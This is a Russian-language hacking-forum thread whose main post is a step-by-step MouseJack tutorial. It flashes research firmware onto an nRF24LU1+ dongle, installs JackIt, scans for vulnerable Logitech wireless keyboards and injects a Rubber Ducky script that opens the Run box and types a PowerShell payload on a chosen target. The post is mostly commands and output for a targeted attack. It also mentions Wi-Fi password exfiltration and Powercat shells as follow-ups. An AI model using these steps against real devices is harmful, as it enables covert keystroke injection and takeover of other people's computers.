Интересно План «перехват». Взламываем беспроводные клавиатуры Logitech и набираем свой текст

Takeshi

Перо Дьявола
Команда форума
PR-group
CPA & Трафик
Регистрация
23 Янв 2019
Сообщения
1,351
Баллы
0
Общие продажи
0$
Общие покупки
0$
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Получаем прошивку
Для начала необходимо обновить новое аппаратное обеспечение nRF24LU1 + с помощью специальной прошивки, чтобы сканировать уязвимые устройства и вводить нажатия клавиш. Во-первых, убедитесь, что индекс пакета Kali APT обновлен:

~$ apt-get update

Для выполнения сценариев Python, используемых для создания и автоматизации процесса перепрошивки, требуется несколько зависимостей. Используйте приведенную ниже команду apt-get, чтобы убедиться, что Git, Python и другие необходимые пакеты установлены и обновлены

~$ apt-get install sdcc binutils python python-pip git

Reading package lists... Done
Building dependency tree
Reading state information... Done
python is already the newest version (2.7.16-1).
python-pip is already the newest version (18.1-5).
The following packages were automatically installed and are no longer required:
libpython3.6-minimal libpython3.6-stdlib python3.6 python3.6-minimal
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
binutils-common binutils-x86-64-linux-gnu gputils gputils-common gputils-doc libbinutils sdcc-doc sdcc-libraries
Suggested packages:
binutils-doc sdcc-ucsim
The following NEW packages will be installed:
gputils gputils-common gputils-doc sdcc sdcc-doc sdcc-libraries
The following packages will be upgraded:
binutils binutils-common binutils-x86-64-linux-gnu libbinutils
4 upgraded, 6 newly installed, 0 to remove and 108 not upgraded.
Need to get 9,868 kB of archives.
After this operation, 63.7 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Версия PIP, доступная в репозитории Kali, может быть немного устаревшей. Обновите его с помощью следующей команды.

~$ pip install --upgrade pip

Collecting pip
Downloading

Please Login or Register to view hidden text.

(1.4MB)
100% |████████████████████████████████| 1.4MB 114kB/s
Installing collected packages: pip
Found existing installation: pip 18.1
Not uninstalling pip at /usr/lib/python2.7/dist-packages, outside environment /usr
Can't uninstall 'pip'. No files were found to uninstall.
Successfully installed pip-19.1

Дополнительные зависимости должны быть установлены вместе с PIP. Используйте -I при установке пакета PyUSB, USB-модуля доступа Python.

~$ pip install --upgrade -I pyusb

DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.
Collecting pyusb
Downloading

Please Login or Register to view hidden text.

(54kB)
|████████████████████████████████| 61kB 82kB/s
Building wheels for collected packages: pyusb
Building wheel for pyusb (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/1f/a9/7e/d189b5030ee3a56f9b72c28281bb11d661b8ea312e28de08a5
Successfully built pyusb
Installing collected packages: pyusb
Successfully installed pyusb-1.0.2

И, наконец, установите последний пакет PlatformIO, систему с открытым исходным кодом для разработки интернета вещей.

~$ pip install --upgrade platformio

Collecting platformio
Downloading

Please Login or Register to view hidden text.

(161kB)
|████████████████████████████████| 163kB 92kB/s
Collecting pyserial!=3.3,<4,>=3 (from platformio)
Downloading

Please Login or Register to view hidden text.

(193kB)
|████████████████████████████████| 194kB 179kB/s
Requirement already satisfied, skipping upgrade: requests<3,>=2.4.0 in /usr/lib/python2.7/dist-packages (from platformio) (2.21.0)
Collecting click<6,>=5 (from platformio)
Downloading

Please Login or Register to view hidden text.

(65kB)
|████████████████████████████████| 71kB 188kB/s
Requirement already satisfied, skipping upgrade: colorama in /usr/lib/python2.7/dist-packages (from platformio) (0.3.7)
Collecting bottle<0.13 (from platformio)
Downloading

Please Login or Register to view hidden text.

(72kB)
|████████████████████████████████| 81kB 153kB/s
Collecting semantic-version<3,>=2.5.0 (from platformio)
Downloading

Please Login or Register to view hidden text.


Building wheels for collected packages: bottle, semantic-version
Building wheel for bottle (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/0c/68/ac/1546dcb27101ca6c4e50c5b5da92dbd3307f07cda5d88e81c7
Building wheel for semantic-version (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/60/bb/50/215d669d31f992767f5dd8d3c974e79261707ee7f898f0dc10
Successfully built bottle semantic-version
Installing collected packages: pyserial, click, bottle, semantic-version, platformio
Found existing installation: Click 7.0
Uninstalling Click-7.0:
Successfully uninstalled Click-7.0
Successfully installed bottle-0.12.16 click-5.1 platformio-3.6.7 pyserial-3.4 semantic-version-2.6.0

Клонируйте репозиторий MouseJack
Клонируйте репозиторий скриптов MouseJack на GitHub в каталог / opt.

~$ git clone

Please Login or Register to view hidden text.

/opt/mousejack

Cloning into '/opt/mousejack'...
remote: Enumerating objects: 285, done.
remote: Total 285 (delta 0), reused 0 (delta 0), pack-reused 285
Receiving objects: 100% (285/285), 8.63 MiB | 353.00 KiB/s, done.
Resolving deltas: 100% (131/131), done.

Перейдите в новый каталог mousejack /.

~$ cd /opt/mousejack/

Используйте опции init для инициализации локального файла конфигурации для nrf-research-firmware.

Это прошивка, прошиваемая на устройство nRF24LU1 +.

/opt/mousejack$ git submodule init

Submodule 'nrf-research-firmware' (

Please Login or Register to view hidden text.

) registered for path 'nrf-research-firmware'

Затем используйте параметры обновления субмодуля, чтобы получить все данные и получить соответствующую фиксацию в списке.

/opt/mousejack$ git submodule update

Cloning into '/opt/mousejack/nrf-research-firmware'...
Submodule path 'nrf-research-firmware': checked out '02b84d1c4e59c0fb98263c83b2e7c7f9863a3b93'

Перейдите в каталог nrf-research-firmware /.

/opt/mousejack$ cd nrf-research-firmware/

Используйте команду make для выполнения команд в Makefile.

/nrf-research-firmware$ make

mkdir -p bin
sdcc --model-large --std-c99 -c src/main.c -o bin/main.rel
sdcc --model-large --std-c99 -c src/usb.c -o bin/usb.rel
sdcc --model-large --std-c99 -c src/usb_desc.c -o bin/usb_desc.rel
sdcc --model-large --std-c99 -c src/radio.c -o bin/radio.rel
sdcc --xram-loc 0x8000 --xram-size 2048 --model-large bin/main.rel bin/usb.rel bin/usb_desc.rel bin/radio.rel -o bin/dongle.ihx
objcopy -I ihex bin/dongle.ihx -O binary bin/dongle.bin
objcopy --pad-to 26622 --gap-fill 255 -I ihex bin/dongle.ihx -O binary bin/dongle.formatted.bin
objcopy -I binary bin/dongle.formatted.bin -O ihex bin/dongle.formatted.ihx

На этом этапе nRF24LU1 + должен быть вставлено в компьютер.

Затем выполните команду make install.

/nrf-research-firmware$ make install

./prog/usb-flasher/usb-flash.py bin/dongle.bin
[2019-04-25 23:55:44.351] Looking for a compatible device that can jump to the Nordic bootloader
[2019-04-25 23:55:44.378] Device found, jumping to the Nordic bootloader
[2019-04-25 23:55:44.969] Looking for a device running the Nordic bootloader
[2019-04-25 23:55:45.171] Writing image to flash
[2019-04-25 23:55:45.808] Verifying write
[2019-04-25 23:55:45.867] Firmware programming completed successfully
[2019-04-25 23:55:45.867] Please unplug your dongle or breakout board and plug it back in.

В соответствии с инструкциями отключите nRF24LU1 + от компьютера.

Чтобы убедиться, что прошивка была получена, подключите устройство обратно к компьютеру и используйте команду dmesg.

/nrf-research-firmware$ dmesg

[ 2433.986481] usb 2-1: new full-speed USB device number 3 using xhci_hcd
[ 2434.136930] usb 2-1: New USB device found, idVendor=1915, idProduct=0102, bcdDevice= 0.01
[ 2434.136938] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[ 2434.136942] usb 2-1: Product: Research Firmware
[ 2434.136946] usb 2-1: Manufacturer: RFStorm

Скопируйте JackIt
С настроенным устройством nRF24LU1 + теперь можно сканировать окружающую область на наличие беспроводных мышей и клавиатур. В репозиторий MouseJack включено несколько великолепных скриптов Python, но вместо этого мы будем использовать скрипт JackIt для автоматизации ввода нажатия клавиш.

~$ git clone

Please Login or Register to view hidden text.

/opt/jackit

Cloning into '/opt/jackit'...
remote: Enumerating objects: 718, done.
remote: Total 718 (delta 0), reused 0 (delta 0), pack-reused 718
Receiving objects: 100% (718/718), 171.39 KiB | 153.00 KiB/s, done.
Resolving deltas: 100% (439/439), done.

Перейдите в директорию /jackit.

~$ cd /opt/jackit/

Просмотрите каталог.

/opt/jackit$ ls -la

total 48
drwxr-xr-x 6 root root 4096 Apr 26 22:25 .
drwxr-xr-x 6 root root 4096 Apr 26 22:25 ..
drwxr-xr-x 2 root root 4096 Apr 26 22:25 bin
drwxr-xr-x 2 root root 4096 Apr 26 22:25 examples
drwxr-xr-x 8 root root 4096 Apr 26 22:25 .git
-rw-r--r-- 1 root root 1072 Apr 26 22:25 .gitignore
drwxr-xr-x 5 root root 4096 Apr 26 22:25 jackit
-rw-r--r-- 1 root root 4743 Apr 26 22:25 README.md
-rw-r--r-- 1 root root 52 Apr 26 22:25 requirements.txt
-rwxr-xr-x 1 root root 594 Apr 26 22:25 setup.py
-rw-r--r-- 1 root root 289 Apr 26 22:25 tox.ini

Мы найдем файл «needs.txt». Он указывает на наличие некоторых зависимостей, которые должны быть установлены с PIP. Вот и все что нам нужно для настройки.

/opt/jackit$ pip install -e .

Obtaining file:///opt/jackit
Requirement already satisfied: click==5.1 in /usr/local/lib/python2.7/dist-packages (from JackIt==0.1.0) (5.1)
Collecting pyusb==1.0.0 (from JackIt==0.1.0)
Downloading

Please Login or Register to view hidden text.

(52kB)
|████████████████████████████████| 61kB 81kB/s
Collecting six==1.10.0 (from JackIt==0.1.0)
Downloading

Please Login or Register to view hidden text.


Collecting tabulate==0.7.5 (from JackIt==0.1.0)
Downloading

Please Login or Register to view hidden text.


Building wheels for collected packages: pyusb, tabulate
Building wheel for pyusb (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/a6/69/c7/258e736ee9bdb4553bd9701424b259436b979cf96201af612f
Building wheel for tabulate (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/96/9c/9a/369b6376b11523584a6040a89488c28f0f88cb52167dceb648
Successfully built pyusb tabulate
Installing collected packages: pyusb, six, tabulate, JackIt
Found existing installation: pyusb 1.0.2
Uninstalling pyusb-1.0.2:
Successfully uninstalled pyusb-1.0.2
Found existing installation: six 1.12.0
Uninstalling six-1.12.0:
Successfully uninstalled six-1.12.0
Running setup.py develop for JackIt
Successfully installed JackIt pyusb-1.0.0 six-1.10.0 tabulate-0.7.5

Захват беспроводных клавиатур и мышей
Просканируйте окрестности на наличие уязвимых устройств, просто набрав в любом терминале jackit.

~$ jackit

__. __ ._ __
| |__ __ | | | |/ |
| \__ \ / __\| |/ / \ __\
/\| |/ __ \\ \_| <| || |
\____(__ /\_ >|_ \_||__|
\/ \/ \/
JackIt Version 1.00
Created by phikshun, infamy

[!] You must supply a ducky script using --script <filename>
[!] Attacks are disabled.
[+] Starting scan...

[+] Scanning every 5s CTRL-C when ready.

KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET
----- -------------- ------------------------ ------- ----------- ------------ -----------------------------
1 C7:D4:21:98:07 74 3 0:00:07 ago Logitech HID 00:C2:00:00:03:10:00:00:00:2B

JackIt будет постоянно сканировать область на наличие беспроводных мышей и клавиатур.
Уязвимое устройство покажет свой адрес, канал и тип в терминале.

Эта информация может быть использована для целевой атаки. Например, приведенная ниже полезная нагрузка USB Rubber Ducky может использоваться для открытия окна запуска и ввода нажатий клавиш на целевой компьютер.

GUI r
DELAY 1000
STRING powershell <payload here>
ENTER

Чтобы использовать сценарий USB Rubber Ducky с JackIt, используйте следующую команду.

~$ jackit --reset --address C7:D4:21:98:07 --vendor Logitech --script /path/to/ducky/script.txt

Нажмите Ctrl + c, чтобы остановить сканирование.
JackIt спросит, по какому адресу вводить клавиши. Это целевая атака, поэтому при сканировании будет отображаться только один серийный номер. Нажмите 1, затем нажмите Enter.

[+] Sniffing for C7:D4:21:98:07 every 5s CTRL-C when ready.

KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET
----- -------------- ---------- ------- ----------- ------------ -----------------------------
1 C7:D4:21:98:07 2 1 0:00:10 ago Logitech HID 00:C2:00:00:00:00:00:00:00:00
^C

[+] Select target keys (1-1) separated by commas, or 'all': [all]: 1
[+] Ping success on channel 65
[+] Sending attack to C7:D4:21:98:07 [Logitech HID] on channel 65

[+] All attacks completed

После нажатия клавиш устройство выполнит следующие команды.


Скрипт откроет окно запуска и наберет произвольный текст. Более сложные атаки PowerShell могут включать в себя эксфильтрацию паролей Wi-Fi, потоковую передачу в реальном времени на рабочем столе Windows 10 и оболочки Powercat с полезными нагрузками, размещенными на серверах Microsoft.
 

Сын Админа

Участник проекта
Пользователь
Регистрация
23 Мар 2019
Сообщения
99
Баллы
0
Общие продажи
0$
Общие покупки
0$
Епте, это ктож должен осилить такой мануал??
 

helikopter

Новый пользователь
Пользователь
Регистрация
29 Ноя 2022
Сообщения
3
Баллы
0
Общие продажи
0$
Общие покупки
0$
серьезная статья